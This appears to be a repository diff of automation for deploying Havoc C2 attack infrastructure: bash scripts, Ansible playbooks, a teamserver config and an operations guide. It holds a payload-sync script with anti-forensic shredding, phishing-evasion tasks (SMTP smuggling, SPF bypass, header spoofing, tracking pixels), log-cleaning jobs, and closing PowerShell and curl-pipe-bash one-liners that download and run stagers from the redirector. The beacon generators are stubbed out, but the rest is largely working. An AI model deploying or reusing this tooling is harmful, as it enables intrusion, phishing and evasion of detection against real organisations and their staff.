echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
debug "Domain: $domain, Email: $email"
# Stop Havoc service temporarily to free port 80
systemctl stop havoc 2>/dev/null
debug "Stopped Havoc service"
# Get certificate
debug "Running certbot to obtain certificate"
if [ "$DEBUG" = true ]; then
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
else
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
fi
cert_result=$?
debug "Certbot result code: $cert_result"
if [ $cert_result -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
# Configure applications to use the certificate if needed
if [ -f "/etc/postfix/main.cf" ]; then
debug "Updating Postfix configuration with new certificate"
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
fi
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 1
fi
}
# Function to display DKIM/DMARC records
show_dns_records() {
domain=$1
debug "Showing DNS records for $domain"
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: mail._domainkey.$domain"
echo -e "Value:"
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
echo -e "\n${GREEN}=================================================${NC}"
fi
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: _dmarc.$domain"
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
echo -e "${GREEN}=================================================${NC}"
}
# Function to test redirector connection
test_redirector() {
# Check if SSH to redirector is configured
debug "Testing redirector connection"
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
else
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
fi
ssh_result=$?
debug "SSH connection result: $ssh_result"
if [ $ssh_result -eq 0 ]; then
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
return 0
else
echo -e "${RED}Could not connect to redirector.${NC}"
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
echo -e "If you need to access the redirector, please check deployment logs."
return 1
fi
}
# Function to synchronize payloads with redirector
sync_payloads() {
# Check if sync script exists
debug "Attempting to synchronize payloads with redirector"
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
if [ "$DEBUG" = true ]; then
/root/Tools/secure_payload_sync.sh
else
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
fi
sync_result=$?
debug "Payload sync result: $sync_result"
if [ $sync_result -eq 0 ]; then
echo -e "${GREEN}Payload synchronization successful${NC}"
return 0
else
echo -e "${RED}Payload synchronization failed${NC}"
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Payload sync script not found${NC}"
return 1
fi
}
# Function to run redirector post-install script
run_redirector_setup() {
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
debug "Checking if we can connect to redirector"
# First, test the connection
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
# Check if post_install_redirector.sh exists on the redirector
debug "Checking for post_install_redirector.sh on redirector"
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
check_result=$?
debug "Script check result: $check_result"
if [ $check_result -eq 0 ]; then
echo -e "${BLUE}Running post-install script on redirector...${NC}"
# Pass the debug flag if it's enabled here
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
else
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
fi
redir_setup_result=$?
debug "Redirector setup result: $redir_setup_result"
if [ $redir_setup_result -eq 0 ]; then
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
return 0
else
echo -e "${RED}Redirector post-installation failed${NC}"
return 1
fi
else
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
return 1
fi
else
echo -e "${RED}SSH configuration for redirector not found${NC}"
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
return 1
fi
}
# Main execution
debug "Starting post-installation process with debug mode: $DEBUG"
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
echo -e "\n${BLUE}Running post-installation checks...${NC}"
# Get domain information
read -p "Enter primary domain: " domain
read -p "Enter email for Let's Encrypt: " email
# Check DNS configuration
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $domain
# Ask if user wants to set up Let's Encrypt certificates
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
if [ "$setup_ssl" = "y" ]; then
setup_letsencrypt $domain $email
fi
# Show DNS records to configure
show_dns_records $domain
# Test redirector connection
test_redirector
# Ask if user wants to sync payloads
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
if [ "$sync_payload" = "y" ]; then
sync_payloads
fi
# Ask if user wants to run post-install on redirector
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
if [ "$run_on_redir" = "y" ]; then
run_redirector_setup
fi
fi
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
+150
View File
@@ -0,0 +1,150 @@
#!/bin/bash
# secure_payload_sync.sh - OPSEC-focused payload distribution
# Configuration
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
REDIRECTOR_IP="{{ redirector_ip }}"
REDIRECTOR_USER="root"
SSH_KEY_PATH="/root/.ssh/id_ed25519"
REMOTE_PAYLOAD_DIR="/var/www/resources"
ENCRYPTED_TRANSFER=true
LOG_FILE="/root/Tools/logs/payload_sync.log"
LOG_RETENTION_DAYS=3
MAX_RANDOM_DELAY=300 # Max random delay in seconds
# Create minimal timestamped log with auto-rotation
log() {
mkdir -p $(dirname $LOG_FILE)
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
}
# Add random delay for OPSEC
sleep_random() {
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
log "Adding random delay of $DELAY seconds"
sleep $DELAY
}
# Generate payload manifest and check for changes
check_for_changes() {
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
log "ERROR: Payload directory not found"
return 1
fi
TMP_DIR=$(mktemp -d)
MANIFEST_FILE="$TMP_DIR/manifest"
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
HASH_FILE="/root/Tools/.payload_hash"
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
log "No payload changes detected"
secure_delete $TMP_DIR
return 1
fi
echo $CURRENT_HASH > $HASH_FILE
return 0
}
# Secure deletion of files/directories
secure_delete() {
if [ -d "$1" ]; then
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
rm -rf "$1" 2>/dev/null
elif [ -f "$1" ]; then
shred -n 3 -z -u "$1" 2>/dev/null
fi
}
# Encrypt archive with random password
encrypt_archive() {
SRC="$1"
DEST="$2"
# Generate random password
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
PASS_FILE=$(mktemp)
echo $PASSWORD > $PASS_FILE
# Encrypt the archive
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
# Store password temporarily for transfer
echo $PASSWORD
# Securely delete password file
secure_delete $PASS_FILE
}
# Main execution
main() {
log "Starting secure payload sync"
# Add randomized timing
sleep_random
# Check for payload changes
check_for_changes || exit 0
# Generate random archive name for OPSEC
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
TEMP_DIR=$(mktemp -d)
# Create payload archive
log "Creating payload archive"
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
# Encrypt archive if enabled
PASSWORD=""
if [ "$ENCRYPTED_TRANSFER" = true ]; then
log "Encrypting payload archive"
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
else
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
fi
# Transfer archive to redirector
log "Transferring payloads to redirector"
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
# Handle remote extraction with decryption if needed
if [ "$ENCRYPTED_TRANSFER" = true ]; then
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
TEMP_DIR=\$(mktemp -d)
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
# Clean up
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
rm -rf \$TEMP_DIR
# Update web server if needed
systemctl reload nginx 2>/dev/null
"
else
REMOTE_CMD="
mkdir -p $REMOTE_PAYLOAD_DIR
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
systemctl reload nginx 2>/dev/null
"
fi
# Execute command on redirector
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
# Clean up local temp files
log "Cleaning up temporary files"
secure_delete $TEMP_DIR
log "Payload sync completed successfully"
}
# Run main function
main
@@ -0,0 +1,134 @@
---
# Advanced evasion techniques for red team phishing
- name: Install advanced evasion tools
apt:
name:
- python3-dnspython
- python3-requests
- python3-selenium
- chromium-browser
- chromium-chromedriver
- tor
- proxychains4
state: present
- name: Create SMTP smuggling configuration
template:
src: "../templates/smtp-smuggling.py.j2"
dest: "/root/Tools/phishing/smtp-smuggling.py"
mode: '0755'
owner: root
group: root
when: enable_smtp_smuggling | default(false) | bool
- name: Configure SPF bypass techniques
template:
src: "../templates/spf-bypass.sh.j2"
dest: "/root/Tools/phishing/spf-bypass.sh"
mode: '0755'
owner: root
group: root
when: enable_spf_bypass | default(false) | bool
- name: Create domain aging simulation
template:
src: "../templates/domain-aging.py.j2"
dest: "/root/Tools/phishing/domain-aging.py"
mode: '0755'
owner: root
group: root
when: aged_domain_mode | default(false) | bool
- name: Set up MTA fronting configuration
template:
src: "../templates/mta-fronting.conf.j2"
dest: "/etc/postfix/mta_fronting.cf"
mode: '0644'
owner: root
group: root
when: enable_mta_fronting | default(false) | bool
notify: restart postfix
- name: Create file format manipulation tools
copy:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0755'
owner: root
group: root
with_items:
# Note: These files need to be created or paths need to be verified
# - { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
# - { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
# - { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
[]
- name: Create Living off the Land (LOtL) payload templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: root
group: root
with_items:
- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
- name: Set up CDN abuse configuration
template:
src: "../templates/cdn-abuse.py.j2"
dest: "/root/Tools/phishing/cdn-abuse.py"
mode: '0755'
owner: root
group: root
when: enable_cdn_abuse | default(false) | bool
- name: Create domain reputation monitoring
template:
src: "../templates/reputation-monitor.py.j2"
dest: "/root/Tools/phishing/reputation-monitor.py"
mode: '0755'
owner: root
group: root
- name: Set up cron job for reputation monitoring
cron:
name: "Domain reputation monitoring"
minute: "0"
hour: "*/4"
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
- name: Create email header spoofing tools
template:
src: "../templates/header-spoofing.py.j2"
dest: "/root/Tools/phishing/header-spoofing.py"
mode: '0755'
owner: root
group: root
- name: Configure Tor for anonymization
template:
src: "../templates/torrc-phishing.j2"
dest: "/etc/tor/torrc"
backup: yes
notify: restart tor
when: enable_tor_routing | default(false) | bool
- name: Create user-agent rotation script
template:
src: "../templates/user-agent-rotation.py.j2"
dest: "/root/Tools/phishing/user-agent-rotation.py"
mode: '0755'
owner: root
group: root
- name: Set up automated evasion techniques
template:
src: "../templates/automated-evasion.py.j2"
dest: "/root/Tools/phishing/automated-evasion.py"
mode: '0755'
owner: root
group: root
when: enable_automated_evasion | default(false) | bool
+344
View File
@@ -0,0 +1,344 @@
---
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
# Shared across all providers
- name: Update apt cache
apt:
update_cache: yes
- name: Disable default Kali MOTD
file:
path: "{{ ansible_env.HOME }}/.hushlogin"
state: touch
mode: '0644'
when: ansible_distribution == "Kali GNU/Linux"
- name: Set a custom MOTD
template:
src: "../../common/templates/motd.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Install base utilities and tools via apt
apt:
name:
- git
- wget
- curl
- unzip
- python3-pip
- python3-venv
- tmux
- pipx
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
- proxychains
- tor
- crackmapexec
- jq
- build-essential
- zip
- unzip
- postfix
- net-tools
- certbot
- opendkim
- opendkim-tools
- dovecot-core
- dovecot-imapd
- dovecot-pop3d
- dovecot-sieve
- dovecot-managesieved
- yq
- build-essential
# Additional Havoc C2 dependencies
- mingw-w64
- nasm
- cmake
- ninja-build
- libfontconfig1
- libglu1-mesa-dev
- libgtest-dev
- libspdlog-dev
- libboost-all-dev
- libncurses5-dev
- libgdbm-dev
- libssl-dev
- libreadline-dev
- libffi-dev
- libsqlite3-dev
- libbz2-dev
- mesa-common-dev
- qtbase5-dev
- qtchooser
- qt5-qmake
- qtbase5-dev-tools
- libqt5websockets5
- libqt5websockets5-dev
state: present
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/beacons
- /root/Tools/payloads
- name: Copy operational scripts
copy:
src: "{{ item }}"
dest: "/root/Tools/{{ item | basename }}"
mode: '0700'
owner: root
group: root
with_items:
- "../../../common/files/clean-logs.sh"
- "../../../common/files/secure-exit.sh"
- "../files/havoc_installer.sh"
- "../files/havoc_shell_handler.sh"
- "../files/secure_payload_sync.sh"
- name: Copy post-install script
copy:
src: "../../../common/files/post_install_c2.sh"
dest: "/root/Tools/post_install_c2.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../../../common/files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create post-install instructions
template:
src: "../../common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Set up systemd timer for payload sync
shell: |
cat > /etc/systemd/system/payload-sync.service << 'EOF'
[Unit]
Description=Secure Payload Sync Service
After=network-online.target
[Service]
Type=oneshot
ExecStart=/root/Tools/secure_payload_sync.sh
User=root
Group=root
PrivateTmp=true
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOF
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
[Unit]
Description=Secure Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=30m
RandomizedDelaySec=30m
Persistent=true
[Install]
WantedBy=timers.target
EOF
systemctl daemon-reload
systemctl enable payload-sync.timer
systemctl start payload-sync.timer
- name: Install Havoc C2 Framework
shell: "/root/Tools/havoc_installer.sh"
args:
creates: "/root/Tools/Havoc"
async: 1800 # Allow 30 minutes for completion
poll: 0 # Don't wait for completion
register: havoc_installation_job
- name: Wait for Havoc installation to complete
async_status:
jid: "{{ havoc_installation_job.ansible_job_id }}"
register: job_result
until: job_result.finished
retries: 60 # Check every 30 seconds for up to 30 minutes
delay: 30
when: havoc_installation_job is defined
- name: Display Havoc installation output
debug:
var: havoc_installation_result.stdout_lines
when: havoc_installation_result.stdout_lines is defined
- name: Create Havoc payload generation script
template:
src: "../templates/generate_havoc_payloads.sh.j2"
dest: "/root/Tools/generate_havoc_payloads.sh"
mode: '0700'
owner: root
group: root
- name: Create Havoc C2 configuration from template
template:
src: "../templates/havoc-config.yaotl.j2"
dest: "/root/Tools/Havoc/data/havoc.yaotl"
mode: '0600'
owner: root
group: root
- name: Create Linux loader script template
template:
src: "../../common/templates/linux_loader.sh.j2"
dest: "/root/Tools/linux_loader.template"
mode: '0644'
owner: root
group: root
- name: Create Windows PowerShell loader template
template:
src: "../../common/templates/windows_loader.ps1.j2"
dest: "/root/Tools/windows_loader.template"
mode: '0644'
owner: root
group: root
- name: Create beacon server script from template
template:
src: "../templates/serve-havoc-payloads.sh.j2"
dest: "/root/Tools/serve-havoc-payloads.sh"
mode: '0700'
owner: root
group: root
vars:
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
domain: "{{ domain }}"
redirector_port: "{{ redirector_port | default('443') }}"
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(false) | bool
- name: Generate Havoc payloads
shell: "/root/Tools/generate_havoc_payloads.sh"
args:
creates: "/root/Tools/Havoc/payloads/manifest.json"
register: payload_generation_result
environment:
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
ignore_errors: yes
- name: Display payload generation output
debug:
var: payload_generation_result.stdout_lines
when: payload_generation_result.stdout_lines is defined
- name: Start payload server
shell: |
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
args:
executable: /bin/bash
register: beacon_server_result
- name: Create NGINX configuration fragment for redirector
template:
src: "../../redirectors/templates/redirector-havoc-fragment.j2"
dest: "/root/Tools/redirector-config.conf"
mode: '0644'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Create Havoc usage guide
template:
src: "../templates/havoc-guide.j2"
dest: "/root/havoc-guide.txt"
mode: '0600'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Include traffic flow configuration
include_tasks: "../../common/tasks/traffic_flow_config.yml"
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs is defined and zero_logs | bool
- name: Ensure SSH key for redirector access is available
block:
- name: Copy deployment SSH key to C2 for redirector access (AWS)
copy:
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider == "aws"
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
copy:
src: "{{ ssh_key_path | replace('.pub', '') }}"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider != "aws"
- name: Create SSH config for redirector access
blockinfile:
path: /root/.ssh/config
create: yes
mode: '0600'
owner: root
group: root
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
block: |
Host redirector
HostName {{ redirector_ip }}
User {{ ssh_user | default('root') }}
IdentityFile /root/.ssh/redirector_key
StrictHostKeyChecking no
when: not redirector_only | bool and redirector_ip is defined
# Include integrated tracker tasks if requested
- name: Include integrated tracker setup
include_tasks: "configure_integrated_tracker.yml"
when: setup_integrated_tracker | default(false) | bool
@@ -0,0 +1,150 @@
---
# Common task for configuring integrated email tracker on C2 server
- name: Check if integrated tracker setup is requested
debug:
msg: "Setting up integrated email tracker on C2 server"
when: setup_integrated_tracker | default(false) | bool
- name: Install required packages for tracker
apt:
name:
- python3-pip
- python3-venv
- python3-pillow
- nginx
- certbot
- python3-certbot-nginx
- jq
state: present
update_cache: yes
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker directory
file:
path: /root/Tools/tracker
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker data directory
file:
path: /root/Tools/tracker/data
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker system user
user:
name: tracker
system: yes
shell: /usr/sbin/nologin
home: /root/Tools/tracker
create_home: no
when: setup_integrated_tracker | default(false) | bool
- name: Create Python virtual environment for tracker
pip:
virtualenv: /root/Tools/tracker/venv
name:
- flask
- pillow
- gunicorn
virtualenv_command: /usr/bin/python3 -m venv
environment:
PATH: "/usr/local/bin:/usr/bin:/bin"
vars:
ansible_python_interpreter: /usr/bin/python3
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker application code
copy:
src: "../../tracker/files/simple_email_tracker.py"
dest: /root/Tools/tracker/simple_email_tracker.py
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker statistics CLI tool
copy:
src: "../../tracker/files/tracker-stats.sh"
dest: /root/Tools/tracker/tracker-stats.sh
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy systemd service file for tracker
copy:
src: "../../tracker/files/tracker.service"
dest: /etc/systemd/system/tracker.service
mode: '0644'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Set correct permissions for tracker directories
file:
path: "{{ item }}"
state: directory
owner: tracker
group: tracker
recurse: yes
loop:
- /root/Tools/tracker
- /root/Tools/tracker/data
when: setup_integrated_tracker | default(false) | bool
- name: Create NGINX site config for tracker
template:
src: "../../tracker/files/tracker-nginx.conf"
dest: /etc/nginx/sites-available/tracker
mode: '0644'
owner: root
group: root
vars:
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
when: setup_integrated_tracker | default(false) | bool
- name: Enable tracker NGINX site
file:
src: /etc/nginx/sites-available/tracker
dest: /etc/nginx/sites-enabled/tracker
state: link
when: setup_integrated_tracker | default(false) | bool
- name: Configure redirector to proxy tracking requests
lineinfile:
path: /etc/nginx/sites-available/default
insertafter: "^\\s*location / {"
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
delegate_to: "{{ groups['redirectors'][0] }}"
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
- name: Set up SSL if requested
shell: |
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
args:
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
ignore_errors: yes
- name: Start and enable tracker service
systemd:
name: tracker
state: started
enabled: yes
daemon_reload: yes
when: setup_integrated_tracker | default(false) | bool
- name: Add tracker alias to bashrc for easy access
lineinfile:
path: /root/.bashrc
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
state: present
when: setup_integrated_tracker | default(false) | bool
@@ -0,0 +1,10 @@
{# OMITTED — evasive beacon generation template #}
{#
Jinja2 template rendered at deploy time. Produces a shell script that compiles
Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
shellcode in a chosen injection template (process hollowing, APC injection,
early-bird), and stages the result to the payload server.
Omitted from public release. Present in operational deployments.
#}
echo "[!] Evasive beacon generator not included in public release."
@@ -0,0 +1,9 @@
{# OMITTED — Havoc payload generation template #}
{#
Renders a script that produces EXE, DLL, and raw shellcode variants from a
compiled Demon implant. Handles signing stubs, UPX packing decisions, and
drops artifacts to the payload server staging directory.
Omitted from public release. Present in operational deployments.
#}
echo "[!] Havoc payload generator not included in public release."
@@ -0,0 +1,79 @@
Teamserver {
Host = "0.0.0.0"
Port = {{ havoc_teamserver_port | default(40056) }}
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "{{ havoc_admin_user | default('admin') }}" {
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
}
{% if havoc_operators is defined %}
{% for operator in havoc_operators %}
user "{{ operator.name }}" {
Password = "{{ operator.password }}"
}
{% endfor %}
{% endif %}
}
Listeners {
Http {
Name = "https"
Hosts = [
"{{ redirector_subdomain }}.{{ domain }}"
]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = {{ havoc_https_port | default(9443) }}
PortConn = {{ havoc_https_port | default(9443) }}
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Headers = [
"Accept: */*",
"Accept-Language: en-US,en;q=0.9"
]
Uris = [
"/api/v2",
"/content",
"/static/css",
"/wp-content/plugins"
]
Response {
Headers = [
"Content-Type: application/json",
"Cache-Control: no-store, private",
"X-Content-Type-Options: nosniff"
]
}
Secure = true
Cert {
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
}
}
}
Demon {
Sleep = {{ havoc_sleep | default(5) }}
Jitter = {{ havoc_jitter | default(30) }}
Injection {
{% if havoc_spawn64 is defined %}
Spawn64 = "{{ havoc_spawn64 }}"
{% else %}
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
{% endif %}
{% if havoc_spawn32 is defined %}
Spawn32 = "{{ havoc_spawn32 }}"
{% else %}
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
{% endif %}
}
}
+112
View File
@@ -0,0 +1,112 @@
HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework (dev branch)
deployed on your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
Admin User: {{ havoc_admin_user | default('admin') }}
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine:
1. Make sure Havoc client (dev branch) is installed:
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
$ cd Havoc/Client
$ mkdir build && cd build
$ cmake -GNinja ..
$ ninja
2. Connect to the Teamserver via GUI:
- Host: {{ c2_ip }}
- Port: {{ havoc_teamserver_port | default(40056) }}
- User: {{ havoc_admin_user | default('admin') }}
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
3. CLI Connection:
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
LISTENERS
--------
Two default listeners are configured:
- HTTP on port {{ havoc_http_port | default(8080) }}
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
To view and manage listeners: Attack → Listeners in the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
To generate new payloads:
1. Connect to the Teamserver
2. Navigate to Attack → Payload
3. Select the listener (HTTPS recommended)
4. Choose architecture, format, and evasion options
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
PAYLOAD DELIVERY
--------------
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
Linux one-liner:
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
